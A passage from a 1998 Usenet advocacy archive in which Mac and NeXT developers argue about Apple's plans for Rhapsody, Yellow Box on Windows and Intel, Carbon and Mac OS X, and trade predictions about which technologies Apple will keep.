> > > they bought NeXT, but didn't. That means they think they need it.
>
> > Apple could have dropped the Newton before creating the MP2000. But they
> > didn't.
>
> Because it was to their advantage to keep it.
>
> Tell me, why would Apple have NOT dropped YB/Windows when in the first
> place if they weren't willing to keep it up to date?
Was it done at that time?
Or it WAS part of a different plan...that's just being held onto.
> They don't make
> money off of it. They know people won't be interested in it if it's not
> updated. Even if they've completely ceased development on it, there's a
> nontrivial amount of money tied up in sales/production/marketing/support.
> Apple has axed everything nonessential. WHY would they be pushing it
> now, even if people ARE interested in something that dead-ends at NT4,
> if it's not a revenue stream?? There are subtleties to the YB strategy
> that you seem to be completely missing.
They don't need to make money on it, if the goal is to bring ppl TO YellowBox via
Intel, then tell them to stick around with that code-base you need to buy Macintoshes.
The Microsoft monopoly exist because of a code base leverage.
Carbon is a leverage issue.
Jobs just may be trying a bait-n-switch... leverage them off Microsoft and onto
Macintosh. "quality" of the MacOS didn't do it. StrongARM tactics might.
> > Are you forgetting that 'Newton was top-knotch technology', but 'rejected in
> > the marketplace'? What's on top? A box using graffiti,
>
> > And, how is YellowBox different? YellowBox *IS* top-notch.
>
> Yellow Box isn't going to be "rejected in the marketplace" because
> people don't buy it. It's not something they buy! Users are irrelevant!
If Carbon exists because YellowBox wasn't attracting developers, why do you believe
the above?
> Yellow Box will be accepted or rejected based on whether _developers
> choose to develop for it_.
And how does formally announcing what 'is obvious', support for NT 5.x/98 HURT? I
contend it will help.
> If you want to compare it to something Apple
> has dropped, at least compare it to software!
>
> > YellowBox couldn't get developers...and it's NOT the Mac API.
>
> Yellow Box couldn't get developers for _lots_ of reasons that _don't_
> apply to Apple. It was way overpriced. It didn't have a major company
> pushing it. It had no market penetration to base itself on.
That sounds like OpenSTEP
> It didn't
> have a big company telling all their developers for their OS (who use
> _another_ API) that they should switch to it.
That sounds like YellowBox.
> YellowBox is Steve's baby that he put over a decade of his life into.
> That still doesn't mean that it will survive. But Steve is quite attached
> to it.
And he's attached to PPC. If Steven Jobs is betting that some people will be suckered
in with an Intel promise, suckered in to later buy a PPC, he'll do a bait and switch.
"Snake Oil Salesman", as one book on Jobs called him.
> Because the Yellow Box is still _far_ better than even Carbon, and it
> _also_ has cross-platform ability with Windows.
*IF* Apple keeps it.
> > And given Apple cuts 'money loosing' projects, YellowBox looks like a target.
>
> YB isn't even remotely a target. Half the sessions at WWDC are
> YB-related!
And how many PAST WWDC sessions were about now dead technology.
> > Not even
> > mentioning YellowBox at the keynote is far too quiet for a key technology.
> > As Steve Jobs said "Rhapsody WAS great technology. But it wasn't enough"
> And he's right.
And, when the Intel version is killed "The technology has been improved and now relies
on unique PPC features that Apple can no longer offer a YellowBox compatiblily with
the Windows platform"
> > I'll go on record that if you don't see some form of formal cross-platform
> > statement about YellowBox b4 this WWDC is over, YellowBox will be cut back to
> > just MacOS, and the cross-platform option will die off with NT 5.x
> Excellent. I'll make a note of it.
Good. And I take it you feel the other way? That way, when it comes time to stick
fingers in eyes, we'll know whos fingers goes in whos eyes.Oh, and I'm on record that
Apple won't ship a MessagePad replacement either.
> (A formal cross-platform statement has already been made, by the way,
> saying that Apple is committed to Rhapsody/Intel and Yellow Box for
> Windows. Of course, that isn't enough for you.)
By whom? What was the source? And does that include Microsoft's ANNOUNCED NT5.x and
98?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 03:47:22 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6je7ia$63i$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02. <nagleEsxEDn.2M6@netcom.com>
In article <nagleEsxEDn.2M6@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> With Apple, the "feeling stupid" part comes after you learn the new
> API and Apple doesn't ship it. Look at the people who fell for
> OpenDoc, QuickDraw GX, Bedrock, Rhapsody, etc.
Clue: No one has learned the Rhapsody API (i.e., Yellow Box) only to
have Apple cancel it. YB is not cancelled.
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <nagleEsxrz1.Grn@netcom.com>
Organization: Netcom On-Line Services
References: <djboccip-1305981552470001@qburst.msfc.nasa.gov> <B17F8171-2CCAA@206.165.43.40> <355A7F01.2DC4FA27@trilithon.com>
Date: Thu, 14 May 1998 07:40:13 GMT
Sender: nagle@netcom6.netcom.com
Henry McGilton <henry@trilithon.com> writes:
>Lawson English wrote:
> * I think that you are re-inventing history. OpenDoc met
> * with TREMENDOUS developer interest. 1000 major companies
> * endorsed it
However, Microsoft didn't. And that was enough.
The problem was that OpenDoc parts were useful only if you were using
a container application that supported them. The most useful container
applications are usually a spreadsheet, a word processor, and a web
browser. On the Macintosh, Microsoft controls the first two and is
taking over the third.
Understand that since Microsoft controls the most important Mac
applications, Microsoft can essentially veto any MacOS change.
John Nagle
Date: Thu, 14 May 1998 10:05:30 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
References: <6jbr7v$1cc$12@ironhorse.plsys.co.uk>
<B17F2028-29E22@206.165.43.172>
Organization: Cybermarket Australia
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In article <B17F2028-29E22@206.165.43.172> , "Lawson English"
<english@primenet.com> wrote:
>mmalcolm crawford <malcolm@plsys.co.uk> said:
>
>>In <B17EAC79-91F44@206.165.43.165> "Lawson English" wrote:
>>
>>> Why are you so happy at the thought of using DPS? Unless your app needs
>>the
>>> ability to script DPS (ala the latest version of FreeHand), what does
>DPS
>>> offer you that GX or a GX-like entity wouldn't (ie., the various classes
>in
>>> YB)?
>>>
>>> I'm often baffled by the obsession with DPS that NeXT developers have.
>It
>>> doesn't make sense for most purposes.
>>>
>>You're baffled by *our* obsession?!
>>
>>We're not obsessed. How many times do we have to repeat this?
>>It's there, it works, why break it?
>>
>>It's you who is the obsessive.
>
>Because it raises the price of Yellow Box from $0 to $20 PER UNIT on the
>Wintel side?
>
>Because it is very klunky in many ways and prevents Apple from modernizing
>their architecture?
>
>Where's SMP support for Rhapsody?
>
>Has that been announced yet?
>
>Is every aspect of the UI thread-safe yet?
>
>Why not?
GX? DPS? Who gives a flying f... BUT Quickdraw. I aint gonna put up with
Quickdraw into the next millenium. When companies like wavemetrics have to
create there own code to get around the limitations of Quickdraw I have to
question its use for anything. If Apple really is going to go stay with QD I
won't be using it. When Apple announced GX I was pleased. When Apple cancelled
GX for DPS I was a little worried until I was shown the benefits (though
arguably GX as as many if not more). When I heard that X was going back to QD I
almost puked. I will get a hold of Rhapsody and keep using that if I have to,
I'm not going back to QD once I get off it.
Tim Priest
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 18:37:43 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A2EC7.1F76D415@milestonerdl.com>
References: <8EF0321.09B600727F.uuout@relaynet.org> <6jctni$4mo$1@crib.bevc.blacksburg.va.us> <355A1877.DD66EC9B@milestonerdl.com> <6jdaes$5al$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> > > There aren't any extra resources involved, except for driver development!
> > Ok, the expense is covered, what about the revenue from selling a Macintosh
> > PPC vs selling JUST Rhapsody on Intel vs giving away a YB for Windows?
> YB/Windows does not compete with Rhapsody/PPC. Rhapsody/Intel does.
Does it? Ppl buy solutions. If I can buy YellowBox Widget, and it can run onMacOS
X
Rhapsody for Intel
YB on windows
Looks to me like the 3 OSes compete to run YB Widget.
> It's a matter of whether someone who would buy Rhapsody/Intel would buy
> Rhapsody/PPC if it weren't available on Intel. If Apple wants
> penetration into _non_-Mac shops, then it wants to be on Intel.
But why? To later take it away in a StrongARM upgrade?
If you ASSUME NT 5 will be supported and it isn't, whos fault is that?
Unless someone have a press release that NT 5/98 is supported, its an assumption.
> Rhapsody
> is a new thing and people with Intel boxes aren't inclined to be so
> overjoyed that they're willing to switch over to PowerMacs. But if
> they can try it on their existing machines for a relatively small cost,
> they're more willing to. And many businesses are de facto Intel shops,
> they don't buy anything else. If they get hooked on Rhapsody, maybe
> that will change the next time they upgrade, but Apple at least needs
> their foot in the door.
Foot in the door for a StrongARM later?
> Plus, Apple might be thinking of keeping its foot in the door in the
> Intel camp in case it ever decides to switch processors or become a
> softare company.
Could be....but as others have pointed out.... Intel X86 is targeted to be replaced
by Merced.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
Date: 14 May 1998 07:40:32 GMT
Organization: Idiom Communications
Message-ID: <6je75g$pcj$2@news.idiom.com>
References: <6jbr7v$1cc$12@ironhorse.plsys.co.uk> <B17F2028-29E22@206.165.43.172>
<355a3b20.0@news.camtech.net.au> <see-below-1305982237220001@209.24.241.190>
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Cc: see-below@not-my-address.com
Matthew Vaughan may or may not have said:
-> In article <355a3b20.0@news.camtech.net.au>, "timothyp@tne.net.au"
-> <timothyp@tne.net.au> wrote:
->
->
-> > GX? DPS? Who gives a flying f... BUT Quickdraw. I aint gonna put up
with
-> > Quickdraw into the next millenium. When companies like wavemetrics have
to
-> > create there own code to get around the limitations of Quickdraw I have
to
-> > question its use for anything. If Apple really is going to go stay with
QD I
-> > won't be using it. When Apple announced GX I was pleased. When Apple
-> cancelled
-> > GX for DPS I was a little worried until I was shown the benefits (though
-> > arguably GX as as many if not more). When I heard that X was going back
-> to QD I
-> > almost puked. I will get a hold of Rhapsody and keep using that if I
have to,
-> > I'm not going back to QD once I get off it.
->
->
-> One question: will OS 10 completely lack DPS and any DPS replacement?
They did say that the postscript imaging model will be there. Hell, if I
have the font machinery, and the rest of the transformation and rasterization
code, as well as the Foundation Kit, I could re-implement the DPS *language*
pretty quickly. Parsing postscript and implementing dictionaries is trivial.
-jcr
Date: Thu, 14 May 1998 10:11:34 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
owners?)
References: <3559327d.0@news.camtech.net.au>
<B17EAC79-91F44@206.165.43.165>
Organization: Cybermarket Australia
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Message-ID: <355a3ca6.0@news.camtech.net.au>
In article <B17EAC79-91F44@206.165.43.165> , "Lawson English"
<english@primenet.com> wrote:
>timothyp@tne.net.au said:
>
>>
>>If on the other hand carbon is really only an extension of the blue-box
>and
>>Apple will still be pushing new developers to code in YB and use DPS I
>will
>>be
>>very Happy.
>
>
>
>Why are you so happy at the thought of using DPS? Unless your app needs the
>ability to script DPS (ala the latest version of FreeHand), what does DPS
>offer you that GX or a GX-like entity wouldn't (ie., the various classes in
>YB)?
>
>I'm often baffled by the obsession with DPS that NeXT developers have. It
>doesn't make sense for most purposesAgain Lawson I state I couldn't give a
flying squirrel as to GX or DPS. But Apple has abandoned GX and now look to be
doing the same with DPS to go (as a former Australian Prime minister said)
"back like Dogs to their vomit" to QD. If they do that they are simply not
serious about pushing the graphics architecture of the Mac into the next
millenium.
Isn't legacy code great!
Tim Priest
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 14 May 1998 00:43:32 GMT
Organization: MiscKit Development
Message-ID: <6jdenk$53h$3@news.xmission.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) wrote:
> No, very bad idea. Some OpenStep developer [...]
That was Erik Buck, who consults for Rockwell in Cedar Rapids, IA.
> [...] said that when they deployed
> on Windows inside some company, people were very very worried about this
> weird "OpenStep thing" they had to install. It didn't matter that it was
> no different than the "DLLs" which come from any MFC application, the mere
> fact that it was something special, and from "NeXT" or "Apple" was enough
> to wig them out. Just being able to see an \APPLE directory was enough
> to cause revolts.
The real irony is that his app is so _totally_ mission critical; these people
need it on their machines. And they balk anyway. Doh! One of the Rockwell
VPs apparently thinks very highly of the app. If you saw it, you would ****
in your pants, it is _so_ cool. I really hope they productize and sell the
more generic aspects of the app.
> In that world, applications have to be be just like "ordinary Windows
> programs". Merely even having a separate name that end-users have to know
> about adds encourages way too much angst.
>
> YB for Windows shouldn't even have an identifiable name in the Windows
> user's universe.
>
> Remember, this is a case where people have found that in their experience
> messing around with "voodoo" system stuff is dangerous and frightening,
> especially if it's not "officially approved" from Microsoft.
This is so true. It is a problem that Microsoft has created, yet it affects
(and limits and ties down) the whole industry.
The YB has to be totally hidden if you're going to get it onto the machine.
Once it is so hidden, I don't think many users will know that they're paying
for it multipe times, so they won't care...
Sounds horrible, I know. Especially to those of us who know better. But if
you're going to steal Windows sheep, you have to cater to their mentality.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Thu, 14 May 1998 01:02:49 -0700
Message-ID: <see-below-1405980102500001@209.24.241.190>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>
In article <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>,
rkt1@cornell.eduz (Tapella) wrote:
> Well, obviously nobody is afraid of stability. I'm talking about the CLI
> and general user interface (I've never seen X-windows with an interface as
> elegant and simple as the MacOS's. Powerful, yes. Easy, friendly, no.).
> Sorry if I misunderstood what the first guy (hehe whoever that was, sorry)
> was talking about re: "paranoia"
> Having MacOS X/Rhapsody be stable is obviously good, but Mac users in general
> have a "paranoia" of Unix because it's ugly and hard to use, not because it's
> too powerful ;) (And I'm not sure about the technicality of all this, but
> is "unix" responsible for the stability, or is it the kernel? Or both?)
Nicely put. Mac users don't want unix, or any other system, so much as
they want a better MacOS. Conversely, they don't really care if it's got
unix underneath, so long as it still looks and feels like MacOS to them.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 03:55:54 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6je82a$64c$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <rex-1305982038160001@192.168.0.3> <6jdenm$5e7$1@crib.bevc.blacksburg.va.us> <rex-1305982346160001@192.168.0.3>
In article <rex-1305982346160001@192.168.0.3>, rex@smallandmighty.com (Eric King) wrote:
> In article <6jdenm$5e7$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> :In article <rex-1305982038160001@192.168.0.3>, rex@smallandmighty.com
> (Eric King) wrote:
> :> [...] the theory keeping the Yellow Box alive is that at
> :> some point those developers will just 'want' to totally rewrite their
> :> apps.
> :You're proceeding on the assumption that no one ever writes a new
> :application.
> No I'm not. I'm going by the fact that Microsoft, Macromedia, Adobe,
> and Metacreations have all announced initiatives to provide common user
> interfaces across their respective product lines. If these companies
> create new products, chances are those products are going be using the
> companies' respective internal frameworks and libraries.
Same issue, only moved back one notch. You're proceeding on the
assumption that no one ever starts a clean code base. The big-name
companies you mention usually don't, because all they do is just sell
their established apps and modifications thereof. This is not universally
the case.
At some point, some companies sit down and write new code that isn't
based on an old application. Those are who Yellow Box is for.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
Date: Thu, 14 May 1998 01:05:05 -0700
Message-ID: <see-below-1405980105050001@209.24.241.190>
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <355A8F10.1D5858B4@unet.univie.ac.at>
macghod@concentric.net wrote:
> I am slightly upset that dr2 for intel was delayed by several weeks. Dr2 for
> intel was the easy part, as OS 4.2 was for intel. Plus, many have said that
> dr2 has been ready for the pc side for months, it was dr2 for ppc that was
> holding things up.
I think this is totally false. If that were the case, why would they
release it _after_ the PPC version? I can see them holding it up and
releasing it at the same time, but I don't see sufficient evidence to
suggest that it was actually ahead of the PPC version in the development
process.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 19:11:21 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A36A9.770CD512@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <355A3418.4A8D@stetson.edu> <6jdf04$5f5$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> I don't think Apple regards Rhapsody/Intel as nearly as important as
> Rhapsody/PPC, but it appears that they think enough of it to keep it
> around, based on their actions.
Keep it around is not the same as working to support it.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 16:57:42 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981657420001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <6ja6bu$m3n$1@nnrp1.dejanews.com> <3559EA9E.3FD91406@spamtoNull.com>
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In article <3559EA9E.3FD91406@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Oh, yea, that was supposedly the function of BLUE BOX, wasn't it?
>
> Ah, if only Apple could have actually *done* a competent Blue Box, the
> problem of developer support would have been nil since existing
> applications would have run under Rhapsody. Blue Box if you remember was
> *key* to Apple's strategy when it let Jobs talk them into parting with
> almost half a billion dollars to do Rhapsody in the first place. Without
> Blue Box, Rhapsody itself made no sense from Apple's postion.
The Blue Box does, and was always planned to, provide Mac OS compatibility
through a separate environment where legacy apps could be run, without any
of the modern OS features. In this role, it works perfectly well. However,
as Jobs said, it wasn't enough. To provide modern OS services for legacy
apps, Carbon was created. That way, developers could reuse most of their
code and still have apps that make full use of Rhapsody services. Get it?
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 17:10:21 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981710210001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com>
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In article <3559F5A0.E8E7FB3D@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> mmalcolm crawford wrote:
>
> > b) Yes, you're absolutely right. Jobs (with his team) has found a way to
> > pull the wool over people's eyes so Apple can serve up Rhapsody so that
it is
> > palatable to the traditional Mac users and developers so they feel like
first
> > class citizens again, rather than facing life in a "compatibility
> > environment".
>
> ...Yes, 18 months late.
"Late" according to what standard? Before this week, Apple NEVER promised
or scheduled a date when a modern OS would be available that would run
legacy apps with full compatibility. Even Rhapsody would have run them in a
blue box, keeping them from using modern OS features. So, by the schedule
that Apple just announced, Mac OS X is exactly on time.
> That's precisely what I think this is--yet another PR ploy from the
> neo-Apple. They know full well that a mainstream Rhapsody is going to
> take another 18 months to become palatable to most prospective
> customers, so rather than announce a "We're late" apology, Jobs comes up
> with a way to "fool" people and rolls Rhapsody over into "Mac OS 10" for
> Q3 1999. How many will be fooled? That remains to be seen, I think.
Who is getting "fooled"? Jobs basically said outright what you just
claimed: Rhapsody was good, but it didn't go far enough, and it wasn't
palatable to most prospective customers. Therefore, they came up with Mac
OS X, which is an addition to Rhapsody which provides additional features
(natch). It is not "late," because it was never scheduled to be due before
this week.
> BTW, there never was a "compatibility environment" that worked to any
> satisfactory degree. Blue box, while certainly a great idea on paper and
> enough to allow Jobs to squiggle into his present position, has always
> been little more than fool's gold.
The Blue Box works exactly as it was described.
> That's precisely why "Mac OS 10"
> slated for Q3 1999 does away with it. What could be more transparent?
Exactly! Mac OS X builds on Rhapsody, but it doesn't replace it.
> As
> many have said, Mac OS 10 is merely Rhapsody very late and without the
> blue box or need to explain why there's no blue box.
But Rhapsody WILL be out in the fall, and with the blue box. So again,
what's your problem?
> And just like with
> Blue Box, it looks great on paper and Q3 1999 is a long, long way off.
Well, if Mac OS X works as well as the Blue Box did, we'll all be in good shape.
Andy Bates.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 23:11:35 -0700
Message-ID: <see-below-1305982311350001@209.24.241.190>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu> <3559DA0F.8F00D835@milestonerdl.com>
In article <3559DA0F.8F00D835@milestonerdl.com>, mark@milestonerdl.com wrote:
> Adobe has a cross-platform product for Windows. To get them on YellowBox,
> you need to offer more.
>
> More like OpenSTEP's Solaris/HP-UX under YellowBox and a newer market of
> Linux. With newer markets, Adobe might make the jump.
Exactly. Yellow Box isn't compelling as a near-term replacement for the
Mac APIs, nor is it compelling as a replacement for Windows APIs for
developers who "work both sides of the fence" since most of them have
already licked that problem. It may be compelling in two ways:
1) Developers using Yellow Box show through competition how valuable it
is, and other developers adopt it to keep up.
2) It becomes a true cross-platform API - more than just Mac and Windows -
perhaps in conjunction with Java (and QuickTime, OpenGL, etc.)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 03:59:06 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6je88a$653$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <355A3418.4A8D@stetson.edu> <6jdf04$5f5$1@crib.bevc.blacksburg.va.us> <355A36A9.770CD512@milestonerdl.com>
In article <355A36A9.770CD512@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > I don't think Apple regards Rhapsody/Intel as nearly as important as
> > Rhapsody/PPC, but it appears that they think enough of it to keep it
> > around, based on their actions.
> Keep it around is not the same as working to support it.
We already discussed the effort involved on Apple's part to do this:
minimal. It uses the same code as Rhapsody/PPC!
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 01:55:25 GMT
Organization: Michigan State University
Message-ID: <6jdiud$l15$1@msunews.cl.msu.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213>
<EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu>
<stevehix-1305981547570001@ip53.safemail.com> <355A25D6.C2207F86@unet.univie.ac.at>
<stevehix-1305981752090001@ip53.safemail.com>
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Cc: stevehix@safemail.com
In <stevehix-1305981752090001@ip53.safemail.com> Steve Hix wrote:
> In article <355A25D6.C2207F86@unet.univie.ac.at>, Christian Benesch
> <a9226931@unet.univie.ac.at> wrote:
> > Steve Hix wrote:
>
> > > Unless you have a serious investment in MacOS applications,
> > > you wouldn't.
>
> > > Fortunately, MacOS X swings both ways. (Ummm...sort of...)
It ain't swinging yet and it's a long way off. From what we know
it should, at least partly
> > There is no point in developing for Carbon if you can write for
YB.
>
> Developers with a large investment in MacOS would *strenuously*
> disagree with you.
You are very correct! And I'm glad you understand this. I
very much hope the MacOS developers do also. I hope they
realize how far Apple is reaching out to bring them back into
the fold. But they should also realize that Apple very much
wants them to port to YB. It would make them insanely happy.
But what I want all the MacOS developers to realize is the time
frames here.
You can stick with your MacOS 7/8 version and you'll be able
to sell on MacOS 8.x, along with BlueBox users on Rhapsody (in
3 months). But to get native in MacOS X you'll have to wait
at least another 9-12 months for a dev release.
> For new applications from the ground up, YB makes lots of sense,
> for upgrading legacy apps, it may not.
Well what was clear was that MacOS developers were not
interested in even trying it out. What I want the MacOS folks
to realize is that YB is where you want to be. If your going
to commit to supporting your product in the future you
really should be thinking about YB.. I do understand
that not having a YB for MacOS hurts you here. I don't
think Apple could pull YB for MacOS 8.x off easily though..
Realize that with YB you'll get a path to the hoards of
windows users (NT/9x) and eventually to MacOS X.
The question all you MacOS developers have to ask yourself
is: Were you going to continue supporting MacOS 7,8.x etc?
Did you expect something new from MacOS, or were you
just going to ride things out and move to Windows? Frankly
if you were even thinking of doing a 95/NT port I think you
were looking at as much if not more work than a YB port.
And at least with YB you get there with the same code base
nice compilers and supporting your favorite company - Apple
- not Microsoft!!
Either way I'm not supporting MS or any MS-wanna be.
I'll go to Linux first.
> > And Carbon is there to make Mac developers realize this!!!!
> > (Let's all hope this is successful)
>
All I can say is that if Apple won't I'm going to try to hammer this
home at least in the advocacy groups. At least until it becomes
very clear that Apple is faultering on YB in some significant way
and then I'll eat my words. Until then I think Apple/Steve are
moving in the right direction for Apple's bottom line
Signals Apple is loosing interest in Intel/YB
(1) Dropping Rhapsody for Intel in favor for YB on 95/NT
(2) Porting Carbon to Intel - adding it to Rhapsody
(3) Dropping or not supporting Openstep/YB - Solaris/HP
without a solid reasoning of why.
(4) Not giving at least a modicum of tuning for the Intel version
if I find Linux runs things significantly faster than Rhapsody
on Intel where as Rhapsody on G3 is only slightly faster
than Linux on Intel (for a suite of our benchmarks)
(5) Lagging Intel driver support.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 98 02:02:40 -0600
Organization: Netcom
Message-ID: <B1800144-FB3B5@204.31.112.110>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu>
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nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
On Wed, May 13, 1998 3:24 PM, Pulsar <mailto:pulsar@springnet1.com> wrote:
>In article <3559F5A0.E8E7FB3D@spamtoNull.com>, Jonathan Harker
><Limeyville@spamtoNull.com> wrote:
>
>> mmalcolm crawford wrote:
>>
><snip>
>> BTW, there never was a "compatibility environment" that worked to any
>> satisfactory degree. Blue box, while certainly a great idea on paper and
>> enough to allow Jobs to squiggle into his present position, has always
>> been little more than fool's gold. That's precisely why "Mac OS 10"
>> slated for Q3 1999 does away with it. What could be more transparent?
>As
>> many have said, Mac OS 10 is merely Rhapsody very late and without the
>> blue box or need to explain why there's no blue box. And just like with
>> Blue Box, it looks great on paper and Q3 1999 is a long, long way off.
>
>What you wrote really needs correction.
>
>Mac OS X will include:
>
>Mach kernel
>Yellow Box
>Blue Box
>Carbon
>_maybe_ Unix BSD
>
According to the Current Plan (tm), it will include BSD (see references
below), but not as a default user environment. One of the slides from the
'Core OS Architecture' session at WWDC yesterday indicated that BSD UNIX
will be 'well-hidden', but nonetheless available as an 'optional
environment for power users and developers', on MacOS X.
BSD is listed as one of the application environments, along with Blue Box,
Carbon, and Yellow Box, plus Java. The non-YB/BSD environments will be
supported through a POSIX layer over Mach 3.0, it seems, but I don't know
much about how this stuff works so I'll just let people look at the
diagrams and figure it out for themselves.
-- I'm sure others will be able to explain it better.
:-)
>Rhapsody 1.0 will include:
>
>Mach kernel
>Yellow Box
>Blue Box
>Unix BSD
>
>The only differences between the two are the names, the possible lack of
>the Unix BSD layer in Mac OS X, and the presence of the Carbon APIs in Mac
>OS X. Other than those, the two OSes are the same.
>
>Rhapsody 1.0 will be available this year with all the features I listed
for
>it above. Mac OS X will be an updated Rhapsody with Carbon added in, and
>perhaps BSD taken out.
>
>Mac OS X is _not_ "merely Rhapsody very late and without the blue box".
Mac
